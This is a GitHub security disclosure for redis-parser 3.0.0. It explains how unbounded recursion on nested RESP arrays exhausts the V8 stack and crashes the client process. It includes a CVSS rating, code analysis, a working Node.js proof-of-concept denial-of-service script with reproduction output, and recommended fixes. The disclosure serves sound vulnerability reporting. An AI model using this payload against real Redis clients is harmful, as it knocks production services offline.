Skip to content

[security disclosure] unbounded recursion nested arrays stack exhaustion #66

Description

@waydeshi

Summary

redis-parser 3.0.0 enforces no limit on RESP array nesting depth. The
mutual recursion parseArray → parseArrayElements → parseType costs stack frames
per level. A stream of repeated *1\r\n headers exhausts the V8 stack, throwing
an uncaught RangeError: Maximum call stack size exceeded out of execute() that
terminates the process.

Untrusted RESP framing crosses the network-reply →
recursive-parse → client-process
boundary via nested array headers, exhausting
the V8 stack and terminating the client process.

Trust Boundary

The RESP byte stream from the Redis endpoint is the sole untrusted input crossing
into parser.execute(). The endpoint controls RESP framing (type bytes, declared
lengths, terminators) — a strictly greater capability than storing a value via
SET, which Redis re-frames with its own correct headers on read-back.

"The endpoint is trusted" is a deployment hope, not an architectural guarantee the
library can rely on: Redis is cleartext TCP unless TLS is configured, AUTH
authenticates the client to the server (not the server's reply bytes to the
client), and a parser is by definition a trust-boundary component. A redirected or
compromised endpoint (SSRF-to-Redis, on-path attacker, failed-over cluster node,
malicious managed/multi-tenant instance) delivers attacker-chosen framing through
the same API. The RangeError is additionally uncaught and not routed through
returnFatalError, so a consumer following the README's protocol-error handling
cannot intercept it — behavior beyond the documented contract.

CVSS 3.1 Breakdown

Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Value Justification
AV Network Nested array headers on the RESP stream.
AC Low ~12 KB of *1\r\n, or many small packets.
PR None
UI None
S Unchanged
C None
I None
A High Uncaught stack overflow -> process termination.

Description

function parseType (parser, type) {            // lib/parser.js:291-306
  switch (type) {
    case 42: return parseArray(parser)         // '*'
  }
}
function parseArray (parser) {                  // recurses into parseArrayElements -> parseType
  return parseArrayElements(parser, responses, 0)
}

Each nesting level adds stack frames through the mutual recursion parseArray
parseArrayElementsparseType (lib/parser.js:204-213 / 255-276 /
291-306) with no counter to bound depth. Enough levels overflow the stack, and
the resulting RangeError is uncaught — execute (lib/parser.js:491-549) has no
try/catch. Depth persists across execute() calls via the parser's array state,
so it can be built incrementally from tiny packets.

Proof of Concept

poc/cve7_stack_exhaustion.js. The incremental variant is the most
compelling: one *1\r\n header per execute() call still crashes, proving depth
persists across calls and defeats per-packet limits:

'use strict'
// CVE-7: Stack exhaustion via unbounded recursion on nested arrays.
// parseArray <-> parseArrayElements <-> parseType mutually recurse per nesting level with no
// depth limit; a single chunk of repeated "*1\r\n" blows the V8 stack. No try/catch -> crash.
const Parser = require('redis-parser')

const p = new Parser({
  returnReply: () => {},
  returnError: () => {},
  returnFatalError: () => {}
})

const DEPTH = 200000
const payload = Buffer.from('*1\r\n'.repeat(DEPTH) + '+x\r\n')

let threw = null
try {
  p.execute(payload)
} catch (e) {
  threw = e
}

console.log('nesting depth sent               :', DEPTH)
console.log('execute() threw synchronously    :', !!threw)
console.log('error                            :', threw && (threw.constructor.name + ': ' + threw.message))
const isStack = threw instanceof RangeError && /call stack/i.test(threw.message)
console.log('RESULT (single-buffer):', isStack
        ? 'VULNERABLE (Maximum call stack size exceeded -> uncaught -> process crash)'
        : 'not-repro')

// ---- Incremental variant: one '*1\r\n' header per execute() call ----
// Proves nesting depth persists across execute() boundaries (defeats per-packet size limits).
const p2 = new Parser({ returnReply: () => {}, returnError: () => {}, returnFatalError: () => {} })
let calls = 0
let threw2 = null
try {
  for (calls = 0; calls < 50000; calls++) p2.execute(Buffer.from('*1\r\n'))
} catch (e) {
  threw2 = e
}
const isStack2 = threw2 instanceof RangeError && /call stack/i.test(threw2.message)
console.log('incremental single-frame executes:', calls, ' crashed?', isStack2)
console.log('RESULT (incremental):', isStack2
        ? 'VULNERABLE (depth persists across execute() calls -> crash; per-packet limits ineffective)'
        : 'not-repro')

Execution Steps

cd poc
npm install
node cve7_stack_exhaustion.js

Reproduction Evidence

Environment: Node.js v26.5.0, redis-parser@3.0.0.

nesting depth sent               : 200000
execute() threw synchronously    : true
error                            : RangeError: Maximum call stack size exceeded
RESULT (single-buffer): VULNERABLE (Maximum call stack size exceeded -> uncaught -> process crash)
incremental single-frame executes: 8914  crashed? true
RESULT (incremental): VULNERABLE (depth persists across execute() calls -> crash; per-packet limits ineffective)

Feeding one *1\r\n header per execute() call crashed after ~8900 calls (exact
count varies per run). This confirms nesting depth accumulates across execute()
boundaries, so per-packet size limits or single-packet inspection do not mitigate
it. The RangeError is uncaught and terminates the process.

Impact

A remote peer that can place bytes on the RESP stream crashes the whole client
process. The incremental variant builds depth across execute() calls, so
inspecting or size-limiting any single packet does not mitigate it.

Recommended Fix

  • Track and enforce a maximum nesting depth; exceeding it is a fatal protocol
    error routed through returnFatalError.
  • Convert the parseArrayparseArrayElementsparseType recursion to an
    iterative loop with an explicit stack.
  • Guard execute() with try/catch so stack exhaustion degrades to a connection
    error instead of process death.

Reference

  • CWE-674: Uncontrolled Recursion
  • CWE-248: Uncaught Exception

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions